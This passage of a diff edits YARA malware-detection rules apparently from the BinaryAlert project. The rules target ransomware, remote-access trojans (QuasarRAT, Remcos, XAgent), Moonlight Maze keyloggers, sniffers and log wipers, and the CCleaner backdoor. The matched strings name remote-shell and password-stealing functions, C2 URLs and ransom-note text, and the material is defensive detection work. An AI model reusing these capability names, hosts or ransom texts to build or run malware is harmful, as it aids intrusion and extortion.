wide + $s2 = "gzwrite64" fullword ascii wide + + condition: + all of ( $s* ) +} +rule BINARYALERT_Malware_Windows_Xrat_Quasarrat +{ + meta: + description = "xRAT is a derivative of QuasarRAT; this catches both RATs." + author = "@mimeframe" + id = "f4db2402-3653-5525-a137-de2de29cef28" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://github.com/quasar/QuasarRAT" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_xrat_quasarrat.yara#L1-L31" + license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" + logic_hash = "92533157a62ccae5d1bdc9d0bb7511817422c6b5d75d013a15173cd1121d099e" + score = 75 + quality = 30 + tags = "" + + strings: + $a1 = ">> New Session created" wide ascii + $a2 = ">> Session unexpectedly closed" wide ascii + $a3 = ">> Session closed" wide ascii + $a4 = "session unexpectedly closed" wide ascii + $a5 = "cmd" fullword wide ascii + $a6 = "/K" fullword wide ascii + $b1 = "echo DONT CLOSE THIS WINDOW!" wide ascii + $b2 = "ping -n 20 localhost > nul" wide ascii + $b3 = "Downloading file..." wide ascii + $b4 = "Visited Website" wide ascii + $b5 = "Adding Autostart Item failed!" wide ascii + $b6 = ":Zone.Identifier" wide ascii + $c1 = "GetDrives I/O error" wide ascii + $c2 = "/r /t 0" wide ascii + $c3 = "desktop.ini" wide ascii + $c4 = "WAN IP Address" wide ascii + $c5 = "User refused the elevation request." wide ascii + $c6 = "Process already elevated." wide ascii condition: - ($header0 at 0 or $header1 at 0 or $header2 at 0 ) and $c1 + 5 of ( $a* ) or 5 of ( $b* ) or 5 of ( $c* ) } -rule BINARYALERT_Malware_Macos_Apt_Sofacy_Xagent +rule BINARYALERT_Malware_Windows_Moonlightmaze_Cle_Tool { meta: - description = "sofacy xagent for macOS" - author = "@mimeframe" - id = "91bef771-2ef1-58f6-ae01-3bdde4cc003c" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://blog.malwarebytes.com/cybercrime/2017/03/two-new-mac-backdoors-discovered/" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_apt_sofacy_xagent.yara#L3-L62" + description = "Rule to detect Moonlight Maze 'cle' log cleaning tool" + author = "Kaspersky Lab" + id = "d875a3cf-cad1-509f-bb9f-27f0a3a9b79d" + date = "2017-08-11" + modified = "2017-08-11" + reference = "https://en.wikipedia.org/wiki/Moonlight_Maze" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_cle_tool.yara#L1-L17" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "4fe4b9560e99e33dabca553e2eeee510" - logic_hash = "d4b1096e4aeb8382e5abf93d3ecf71cd6ae2ed7afbc9a38549a2fc2739539674" + hash = "647d7b711f7b4434145ea30d0ef207b0" + logic_hash = "8f75df1240b9e5e905492106265a7e1342db4140d715529933af4ba5c8ec6331" score = 75 - quality = 55 + quality = 80 tags = "" strings: - $a1 = "remoteShell" ascii wide - $a2 = "getInfoOSX" ascii wide - $a3 = "ftpUpload" ascii wide - $a4 = "startUploading" ascii wide - $a5 = "deleteFile:" ascii wide - $a6 = "executeShellCommand" ascii wide - $a7 = "getFirefoxPassword" ascii wide - $a8 = "generateRandomPathAndName" ascii wide - $a9 = "createCryptPacket" ascii wide - $a10 = "CameraShot" ascii wide - $a11 = "7Cryptor" ascii wide - $a12 = "8ICryptor" ascii wide - $a13 = "Keylogger" ascii wide - $a14 = "BootXLoader" ascii wide - $a15 = "InjectApp" ascii wide - $b1 = "/Project/XAgentOSX/" ascii wide - $b2 = "XLoader_OSX" fullword ascii wide - $b3 = "" ascii wide - $b4 = "" ascii wide - $b5 = "" ascii wide - $b6 = "
Stop take screenshot
" ascii wide - $c1 = "http://23.227.196.215/" ascii wide - $c2 = "http://apple-iclods.org/" ascii wide - $c3 = "http://apple-checker.org/" ascii wide - $c4 = "http://apple-uptoday.org/" ascii wide - $c5 = "http://apple-search.info" ascii wide - $d1 = "watch/?" fullword ascii wide - $d2 = "search/?" fullword ascii wide - $d3 = "find/?" fullword ascii wide - $d4 = "results/?" fullword ascii wide - $d5 = "open/?" fullword ascii wide - $d6 = "search/?" fullword ascii wide - $d7 = "close/?" fullword ascii wide - $e1 = "itwm=" fullword ascii wide - $e2 = "text=" fullword ascii wide - $e3 = "from=" fullword ascii wide - $e4 = "itwm=" fullword ascii wide - $e5 = "ags=" fullword ascii wide - $e6 = "btnG=" fullword ascii wide - $e7 = "oprnd=" fullword ascii wide - $e8 = "itwm=" fullword ascii wide - $e9 = "utm=" fullword ascii wide - $e10 = "channel=" fullword ascii wide + $a1 = "./a filename template_file" ascii wide + $a2 = "May be %s is empty?" ascii wide + $a3 = "template string = |%s|" ascii wide + $a4 = "No blocks !!!" + $a5 = "No data in this block !!!!!!" ascii wide + $a6 = "No good line" condition: - BINARYALERT_Macho_PRIVATE and ( 5 of ( $a* ) or any of ( $b* ) or any of ( $c* ) or 4 of ( $d* ) or 5 of ( $e* ) ) + 3 of ( $a* ) } -rule BINARYALERT_Ransomware_Windows_Hydracrypt +rule BINARYALERT_Malware_Windows_Moonlightmaze_De_Tool { meta: - description = "HydraCrypt encrypts a victim’s files and appends the filenames with the extension “hydracrypt_ID_*" - author = "@fusionrace" - id = "9ebf205e-b6a9-55a3-b0c3-9b088790dc9a" + description = "Rule to detect Moonlight Maze 'de' and 'deg' tunnel tool" + author = "Kaspersky Lab" + id = "8b943c21-eac7-521d-8dc6-90d611aa4d92" date = "2017-08-11" modified = "2017-08-11" - reference = "https://securingtomorrow.mcafee.com/mcafee-labs/hydracrypt-variant-of-ransomware-distributed-by-angler-exploit-kit/" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_hydracrypt.yara#L1-L16" + reference = "https://en.wikipedia.org/wiki/Moonlight_Maze" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_de_tool.yara#L1-L16" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "08b304d01220f9de63244b4666621bba" - logic_hash = "3ecb3e6c269f4145e60b0e7bb0e896120ceb2db2123f847bf4bdf5d4490467d5" + logic_hash = "836331856200fde9792d3bf97d3a18b7f4497ceaae1cfceb0de7c2949e315b9c" score = 75 quality = 80 tags = "" + md5_1 = "4bc7ed168fb78f0dc688ee2be20c9703" + md5_2 = "8b56e8552a74133da4bc5939b5f74243" strings: - $u0 = "oTraining" fullword ascii wide - $u1 = "Stop Training" fullword ascii wide - $u2 = "Play \"sound.wav\"" fullword ascii wide - $u3 = "&Start Recording" fullword ascii wide - $u4 = "7About record" fullword ascii wide + $a1 = "Vnuk: %d" ascii fullword + $a2 = "Syn: %d" ascii fullword + $a3 = {25 73 0A 25 73 0A 25 73 0A 25 73 0A} condition: - all of them + 2 of ( $a* ) } -rule BINARYALERT_Ransomware_Windows_Zcrypt +rule BINARYALERT_Malware_Windows_Moonlightmaze_Loki2Crypto { meta: - description = "Zcrypt will encrypt data and append the .zcrypt extension to the filenames" - author = "@fusionrace" - id = "d79cd266-4e77-562c-975c-8bf72efe7242" + description = "Rule to detect hardcoded DH modulus used in 1996/1997 Loki2 sourcecode; #ifdef STRONG_CRYPTO /* 384-bit strong prime */" + author = "Costin Raiu, Kaspersky Lab" + id = "eb5fc283-4994-5db5-965d-e90caad95f4c" date = "2017-08-11" modified = "2017-08-11" - reference = "https://blog.malwarebytes.com/threat-analysis/2016/06/zcrypt-ransomware/" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_zcrypt.yara#L1-L23" + reference = "https://en.wikipedia.org/wiki/Moonlight_Maze" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_loki2crypto.yara#L1-L16" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "d1e75b274211a78d9c5d38c8ff2e1778" - logic_hash = "df4073363da162e69f29493b5bfb4cb3f3d342357335c13ba6a3ac868607cb25" + logic_hash = "abb2093844af1b854a9deed5baab3f4d67bd1189a4520f697aa69b7441d9488c" score = 75 - quality = 78 + quality = 80 tags = "" + md5_1 = "19fbd8cbfb12482e8020a887d6427315" + md5_2 = "ea06b213d5924de65407e8931b1e4326" + md5_3 = "14ecd5e6fc8e501037b54ca263896a11" + md5_4 = "e079ec947d3d4dacb21e993b760a65dc" + md5_5 = "edf900cebb70c6d1fcab0234062bfc28" strings: - $u1 = "How to Buy Bitcoins" ascii wide - $u2 = "ALL YOUR PERSONAL FILES ARE ENCRYPTED" ascii wide - $u3 = "Click Here to Show Bitcoin Address" ascii wide - $u4 = "MyEncrypter2.pdb" fullword ascii wide - $g1 = ".p7b" fullword ascii wide - $g2 = ".p7c" fullword ascii wide - $g3 = ".pdd" fullword ascii wide - $g4 = ".pef" fullword ascii wide - $g5 = ".pem" fullword ascii wide - $g6 = "How to decrypt files.html" fullword ascii wide + $modulus = {DA E1 01 CD D8 C9 70 AF C2 E4 F2 7A 41 8B 43 39 52 9B 4B 4D E5 85 F8 49} condition: - any of ( $u* ) or all of ( $g* ) + $modulus } -rule BINARYALERT_Ransomware_Windows_Wannacry +rule BINARYALERT_Malware_Windows_Remcos_Rat { meta: - description = "wannacry ransomware for windows" - author = "@fusionrace" - id = "0269b6f4-a47d-5683-aaaa-2141ca7f04dc" + description = "No description has been set in the source file - BinaryAlert" + author = "@mimeframe" + id = "420c135f-3150-5cb9-9c1c-105cd260d713" date = "2017-08-11" modified = "2017-08-11" - reference = "https://securelist.com/blog/incidents/78351/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_wannacry.yara#L1-L23" + reference = "https://breaking-security.net/remcos/remcos-changelog/" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_remcos_rat.yara#L1-L20" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "4fef5e34143e646dbf9907c4374276f5" - logic_hash = "c01f460c0f5e39cde5f553c966553fe693e5203cb020b8f571eac6fc193fa91b" + hash = "c8dafe143fe1d81ae6a3c0cd4724b272" + logic_hash = "ec1ec69f628111235bafad8177482256ed571c064a81f01b6ec2643dccc926ad" score = 75 - quality = 50 + quality = 80 tags = "" strings: - $a1 = "msg/m_chinese" wide ascii - $a2 = ".wnry" wide ascii - $a3 = "attrib +h" wide ascii - $b1 = "WNcry@2ol7" wide ascii - $b2 = "iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" wide ascii - $b3 = "115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn" wide ascii - $b4 = "12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw" wide ascii - $b5 = "13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94" wide ascii + $a1 = "[Following text has been pasted from clipboard:]" wide ascii + $a2 = "[Chrome StoredLogins found, cleared!]" wide ascii + $a3 = "[Firefox StoredLogins cleared!]" wide ascii + $b1 = "getclipboard" wide ascii + $b2 = "stopmiccapture" wide ascii + $b3 = "downloadfromurltofile" wide ascii + $b4 = "getcamsingleframe" wide ascii + $c1 = "Breaking-Security.Net" wide ascii + $c2 = "REMCOS v" wide ascii condition: - all of ( $a* ) or any of ( $b* ) + any of ( $a* ) or 3 of ( $b* ) or all of ( $c* ) } -rule BINARYALERT_Ransomware_Windows_Hddcryptora +rule BINARYALERT_Malware_Windows_Apt_Whitebear_Binary_Loader_1 { meta: - description = "The HDDCryptor ransomware encrypts local harddisks as well as resources in network shares via Server Message Block (SMB)" + description = "The WhiteBear loader contains a set of messaging and injection components that support continued presence on victim hosts" author = "@fusionrace" - id = "56d7f1f5-811d-58c9-9e1d-d2f48c01e167" - date = "2017-08-11" - modified = "2017-08-11" - reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_HDDCryptorA.yara#L1-L23" + id = "6b5709fd-a923-56b6-98ab-ae036f9d04c3" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://securelist.com/introducing-whitebear/81638/" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_apt_whitebear_binary_loader_1.yara#L1-L22" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "498bdcfb93d13fecaf92e96f77063abf" - logic_hash = "24c113be31c3df7b544a5789bf055f77471d450c07f0a6729a715e2a82b4d1f0" + hash = "b099b82acb860d9a9a571515024b35f0" + logic_hash = "f6706c66a378b80d3cedf118a812d8add60e12b44402a30d941d08ff30c7ab1c" score = 75 - quality = 78 + quality = 80 tags = "" strings: - $u1 = "You are Hacked" fullword ascii wide - $u2 = "Your H.D.D Encrypted , Contact Us For Decryption Key" nocase ascii wide - $u3 = "start hard drive encryption..." ascii wide - $u4 = "Your hard drive is securely encrypted" ascii wide - $g1 = "Wipe All Passwords?" ascii wide - $g2 = "SYSTEM\\CurrentControlSet\\Services\\dcrypt\\config" ascii wide - $g3 = "DiskCryptor" ascii wide - $g4 = "dcinst.exe" fullword ascii wide - $g5 = "dcrypt.exe" fullword ascii wide - $g6 = "you can only use AES to encrypt the boot partition!" ascii wide + $a1 = "### PE STORAGE ###" wide ascii + $a2 = "### CRYPTO 0 ###" wide ascii + $a3 = "### EXTERNAL STORAGE ###" wide ascii + $a4 = "### CRYPTO 1 ###" wide ascii + $a5 = "### QUEUES ###" wide ascii + $a6 = "### TRANSPORT ###" wide ascii + $a7 = "### EXECUTION SUBSYSTEM ###" wide ascii + $a8 = "### AUTORUN MANAGER ###" wide ascii + $a9 = "### INJECT MANAGER ###" wide ascii + $a10 = "### LOCAL TRANSPORT MANAGER ###" wide ascii condition: - 2 of ( $u* ) or 4 of ( $g* ) + 6 of ( $a* ) } -rule BINARYALERT_Ransomware_Windows_Lazarus_Wannacry : FILE +rule BINARYALERT_Malware_Windows_Moonlightmaze_Custom_Sniffer { meta: - description = "Rule based on shared code between Feb 2017 Wannacry sample and Lazarus backdoor from Feb 2015 discovered by Neel Mehta" - author = "Costin G. Raiu, Kaspersky Lab" - id = "6335bd03-0625-5856-891c-9a5decd7e00f" + description = "Rule to detect Moonlight Maze sniffer tools" + author = "Kaspersky Lab" + id = "a9f005e0-8d73-58ff-b010-d3ce08ffdb64" date = "2017-08-11" modified = "2017-08-11" - reference = "https://twitter.com/neelmehta/status/864164081116225536" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_lazarus_wannacry.yara#L3-L32" + reference = "https://en.wikipedia.org/wiki/Moonlight_Maze" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_custom_sniffer.yara#L1-L20" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "dddff5f74bf3f11baf1d3853d6cb5e5b1e0c5e75445c421d4d5145f7a496fc4b" + logic_hash = "466be027f567fe0afc88c82d94e4e0171b4b7d8f38d27a4c4a18cec4ca2b8b2f" score = 75 quality = 80 - tags = "FILE" - md5_1 = "9c7c7149387a1c79679a87dd1ba755bc" - md5_2 = "ac21c8ad899727137c4b94458d7aa8d8" + tags = "" + md5_1 = "7b86f40e861705d59f5206c482e1f2a5" + md5_2 = "927426b558888ad680829bd34b0ad0e7" strings: - $a1 = { - 51 53 55 8B 6C 24 10 56 57 6A 20 8B 45 00 8D 75 - 04 24 01 0C 01 46 89 45 00 C6 46 FF 03 C6 06 01 - 46 56 E8 - } - $a2 = { - 03 00 04 00 05 00 06 00 08 00 09 00 0A 00 0D 00 - 10 00 11 00 12 00 13 00 14 00 15 00 16 00 2F 00 - 30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00 - 38 00 39 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 - 44 00 45 00 46 00 62 00 63 00 64 00 66 00 67 00 - 68 00 69 00 6A 00 6B 00 84 00 87 00 88 00 96 00 - FF 00 01 C0 02 C0 03 C0 04 C0 05 C0 06 C0 07 C0 - 08 C0 09 C0 0A C0 0B C0 0C C0 0D C0 0E C0 0F C0 - 10 C0 11 C0 12 C0 13 C0 14 C0 23 C0 24 C0 27 C0 - 2B C0 2C C0 FF FE - } + $a1 = "/var/tmp/gogo" fullword + $a2 = "myfilename= |%s|" fullword + $a3 = "mypid,mygid=" fullword + $a4 = "mypid=|%d| mygid=|%d|" fullword + $a5 = "/var/tmp/task" fullword + $a6 = "mydevname= |%s|" fullword condition: - (( uint16( 0 ) == 0x5A4D ) ) and all of them + any of ( $a* ) } -rule BINARYALERT_Ransomware_Windows_Petya_Variant_Bitcoin +rule BINARYALERT_Malware_Windows_Moonlightmaze_Wipe : FILE { meta: - description = "Petya Ransomware new variant June 2017 using ETERNALBLUE: Bitcoin" - author = "@fusionrace" - id = "82d6ecc5-7c90-5d50-90ff-f54f8d87685d" + description = "Rule to detect log cleaner based on wipe.c" + author = "Kaspersky Lab" + id = "35060c3d-b805-54a6-a241-eb6e99168fa8" date = "2017-08-11" modified = "2017-08-11" - reference = "https://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_petya_variant_bitcoin.yara#L1-L13" + reference = "http://www.afn.org/~afn28925/wipe.c" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_wipe.yara#L3-L18" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "71b6a493388e7d0b40c83ce903bc6b04" - logic_hash = "9a5e183aa8e1387e76d5df4e967943b730ba780b6758af3ef23e21bb9e4ce3a6" + hash = "e69efc504934551c6a77b525d5343241" + logic_hash = "0241d1ca9f5a4d066f7ed2e80bc18ebae3723c6a2364422e31909e8f0e576675" score = 75 quality = 80 - tags = "" + tags = "FILE" strings: - $s1 = "MIIBCgKCAQEAxP/VqKc0yLe9JhVqFMQGwUITO6WpXWnKSNQAYT0O65Cr8PjIQInTeHkXEjfO2n2JmURWV/uHB0ZrlQ/wcYJBwLhQ9EqJ3iDqmN19Oo7NtyEUmbYmopcq+YLIBZzQ2ZTK0A2DtX4GRKxEEFLCy7vP12EYOPXknVy/+mf0JFWixz29QiTf5oLu15wVLONCuEibGaNNpgq+CXsPwfITDbDDmdrRIiUEUw6o3pt5pNOskfOJbMan2TZu6zfhzuts7KafP5UA8/0Hmf5K3/F9Mf9SE68EZjK+cIiFlKeWndP0XfRCYXI9AJYCeaOu7CXF6U0AVNnNjvLeOn42LHFUK4o6JwIDAQAB" fullword wide + $a1 = "ERROR: Unlinking tmp WTMP file." + $a2 = "USAGE: wipe [ u|w|l|a ] ...options..." + $a3 = "Erase acct entries on tty : wipe a [username] [tty]" + $a4 = "Alter lastlog entry : wipe l [username] [tty] [time] [host]" condition: - $s1 + ( uint32( 0 ) == 0x464c457f ) and ( 2 of them ) } -rule BINARYALERT_Ransomware_Windows_Cryptolocker +rule BINARYALERT_Malware_Windows_Moonlightmaze_IRIX_Exploit_GEN : FILE { meta: - description = "The CryptoLocker malware propagated via infected email attachments, and via an existing botnet; when activated, the malware encrypts files stored on local and mounted network drives" - author = "@fusionrace" - id = "be205f4b-d078-5437-bacc-203c816db2fa" + description = "Rule to detect Irix exploits from David Hedley used by Moonlight Maze hackers" + author = "Kaspersky Lab" + id = "4f9ab7b0-4fb9-5311-ae23-01d0a9e2e104" date = "2017-08-11" modified = "2017-08-11" - reference = "https://www.secureworks.com/research/cryptolocker-ransomware" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_cryptolocker.yara#L1-L21" + reference = "https://www.exploit-db.com/exploits/19274/" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_IRIX_exploit_GEN.yara#L3-L20" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "012d9088558072bc3103ab5da39ddd54" - logic_hash = "317cbc01b4c329befeb5b25478f7827298a26d21b872ae232c519febd9c547fc" + logic_hash = "9d55d780c84f2aa4e64c19842b2055ef4bf7c8844ebe622c3942445b06ab8344" score = 75 quality = 80 - tags = "" + tags = "FILE" + md5_1 = "008ea82f31f585622353bd47fa1d84be" + md5_2 = "a26bad2b79075f454c83203fa00ed50c" + md5_3 = "f67fc6e90f05ba13f207c7fdaa8c2cab" + md5_4 = "5937db3896cdd8b0beb3df44e509e136" + md5_5 = "f4ed5170dcea7e5ba62537d84392b280" strings: - $u0 = "Paysafecard is an electronic payment method for predominantly online shopping" fullword ascii wide - $u1 = "bb to select the method of payment and the currency." fullword ascii wide - $u2 = "Where can I purchase a MoneyPak?" fullword ascii wide - $u3 = "Ukash is electronic cash and e-commerce brand." fullword ascii wide - $u4 = "You have to send below specified amount to Bitcoin address" fullword ascii wide - $u5 = "cashU is a prepaid online" fullword ascii wide - $u6 = "Your important files \\b encryption" fullword ascii wide - $u7 = "Encryption was produced using a \\b unique\\b0 public key" fullword ascii wide - $u8 = "then be used to pay online, or loaded on to a prepaid card or eWallet." fullword ascii wide - $u9 = "Arabic online gamers and e-commerce buyers." fullword ascii wide + $a1 = "stack = 0x%x, targ_addr = 0x%x" + $a2 = "execl failed" condition: - 2 of them + ( uint32( 0 ) == 0x464c457f ) and ( all of them ) } -rule BINARYALERT_Ransomware_Windows_Cerber_Evasion +rule BINARYALERT_Ccleaner_Backdoor { meta: - description = "Cerber Ransomware: Evades detection by machine learning applications" + description = "Ccleaner 5.33 backdoor with a possible APT17/Group72 connection." author = "@fusionrace" - id = "6e2f44a9-bc0f-5071-9d80-ddfb778cfe5d" - date = "2017-08-11" - modified = "2017-08-11" - reference = "http://www.darkreading.com/vulnerabilities---threats/cerber-ransomware-now-evades-machine-learning/d/d-id/1328506" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_cerber_evasion.yara#L1-L15" + id = "769e4fcb-9638-5a5b-8b73-a1cda3bc286a" + date = "2017-12-14" + modified = "2017-12-14" + reference = "http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_ccleaner_backdoor.yara#L1-L15" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "bc62b557d48f3501c383f25d014f22df" - logic_hash = "43b3b8be5a23b57f6c671abd8491cdc51af1cf3a3fe8a7be308150697cdb92ea" + logic_hash = "ce3fc54d58e337ab17e6f1ba7745c593210483c02ed3969059a8fe6682d87218" score = 75 quality = 80 tags = "" + md5_1 = "d488e4b61c233293bec2ee09553d3a2f" + md5_2 = "b95911a69e49544f9ecc427478eb952f" + md5_3 = "063b58879c8197b06d619c3be90506ec" + md5_4 = "7690e414e130acf7c962774c05283142" strings: - $s1 = "38oDr5.vbs" fullword ascii wide - $s2 = "8ivq.dll" fullword ascii wide - $s3 = "jmsctls_progress32" fullword ascii wide + $s1 = "s:\\workspace\\ccleaner\\branches\\v5.33" fullword ascii wide condition: - all of them + $s1 } -rule BINARYALERT_Ransomware_Windows_Petya_Variant_2 +rule BINARYALERT_Malware_Windows_Moonlightmaze_Xk_Keylogger { meta: - description = "Petya Ransomware new variant June 2017 using ETERNALBLUE" - author = "@fusionrace" - id = "6401fd7e-5ef7-58b5-b8d3-a63c70e8daa3" + description = "Rule to detect Moonlight Maze 'xk' keylogger" + author = "Kaspersky Lab" + id = "5623021d-0d70-59b3-ae30-522e81552da0" date = "2017-08-11" modified = "2017-08-11" - reference = "https://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_petya_variant_2.yara#L1-L17" + reference = "https://en.wikipedia.org/wiki/Moonlight_Maze" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_xk_keylogger.yara#L1-L22" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "71b6a493388e7d0b40c83ce903bc6b04" - logic_hash = "7e04ffd0423cd1288af5c045bb06930abb732c0ea059e329cafc05faecb4f982" + logic_hash = "430027b41aeda9a11dadec2e4d3dd2474852ff3a7656ed7128711a1574e66b8f" score = 75 - quality = 78 + quality = 30 tags = "" strings: - $s1 = "dllhost.dat" fullword wide - $s2 = "\\\\%ws\\admin$\\%ws" fullword wide - $s3 = "%s /node:\"%ws\" /user:\"%ws\" /password:\"%ws\"" fullword wide - $s4 = "\\\\.\\PhysicalDrive" fullword wide - $s5 = ".3ds.7z.accdb.ai.asp.aspx.avhd.back.bak.c.cfg.conf.cpp.cs.ctl.dbf.disk.djvu.doc.docx.dwg.eml.fdb.gz.h.hdd.kdbx.mail.mdb.msg.nrg.ora.ost.ova.ovf.pdf.php.pmf.ppt.pptx.pst.pvi.py.pyc.rar.rtf.sln.sql.tar.vbox.vbs.vcb.vdi.vfd.vmc.vmdk.vmsd.vmx.vsdx.vsv.work.xls.xlsx.xvd.zip." fullword wide + $a1 = "Log ended at => %s" + $a2 = "Log started at => %s [pid %d]" + $a3 = "/var/tmp/task" fullword + $a4 = "/var/tmp/taskhost" fullword + $a5 = "my hostname: %s" + $a6 = "/var/tmp/tasklog" + $a7 = "/var/tmp/.Xtmp01" fullword + $a8 = "myfilename=-%s-" + $a9 = "/var/tmp/taskpid" + $a10 = "mypid=-%d-" fullword + $a11 = "/var/tmp/taskgid" fullword + $a12 = "mygid=-%d-" fullword condition: - 3 of them + 3 of ( $a* ) } -rule BINARYALERT_Ransomware_Windows_Powerware_Locky +rule BINARYALERT_Malware_Windows_Moonlightmaze_Encrypted_Keyloger { meta: - description = "PowerWare Ransomware" - author = "@fusionrace" - id = "8a1a56af-7a9d-54ed-90b9-daf33735ee1e" + description = "Rule to detect Moonlight Maze encrypted keylogger logs" + author = "Kaspersky Lab" + id = "4f290d77-5cb5-5f07-98fd-1829e2f00e63" date = "2017-08-11" modified = "2017-08-11" - reference = "https://researchcenter.paloaltonetworks.com/2016/07/unit42-powerware-ransomware-spoofing-locky-malware-family/" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_powerware_locky.yara#L1-L17" + reference = "https://en.wikipedia.org/wiki/Moonlight_Maze" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_encrypted_keyloger.yara#L1-L11" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "3433a4da9d8794709630eb06afd2b8c1" - logic_hash = "64de34755f706a9fd4c876c473eed4f8922a4450c7ef135b0ab5e49c67363baf" + logic_hash = "cdcbe112ae394ce0922647904f70cfae626d413d1770b0e20d2ba49e1f4e2d2d" score = 75 - quality = 78 + quality = 80 tags = "" strings: - $s0 = "ScriptRunner.dll" fullword ascii wide - $s1 = "ScriptRunner.pdb" fullword ascii wide - $s2 = "fixed.ps1" fullword ascii wide + $a1 = {47 01 22 2A 6D 3E 39 2C} condition: - all of them + ($a1 at 0 ) } -rule BINARYALERT_Ransomware_Windows_Petya_Variant_1 +rule BINARYALERT_Malware_Windows_Apt_Red_Leaves_Generic { meta: - description = "Petya Ransomware new variant June 2017 using ETERNALBLUE" - author = "@fusionrace" - id = "bf56c0e4-585c-509b-a182-a93c74be7524" - date = "2017-08-11" - modified = "2017-08-11" - reference = "https://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759" - source_url = 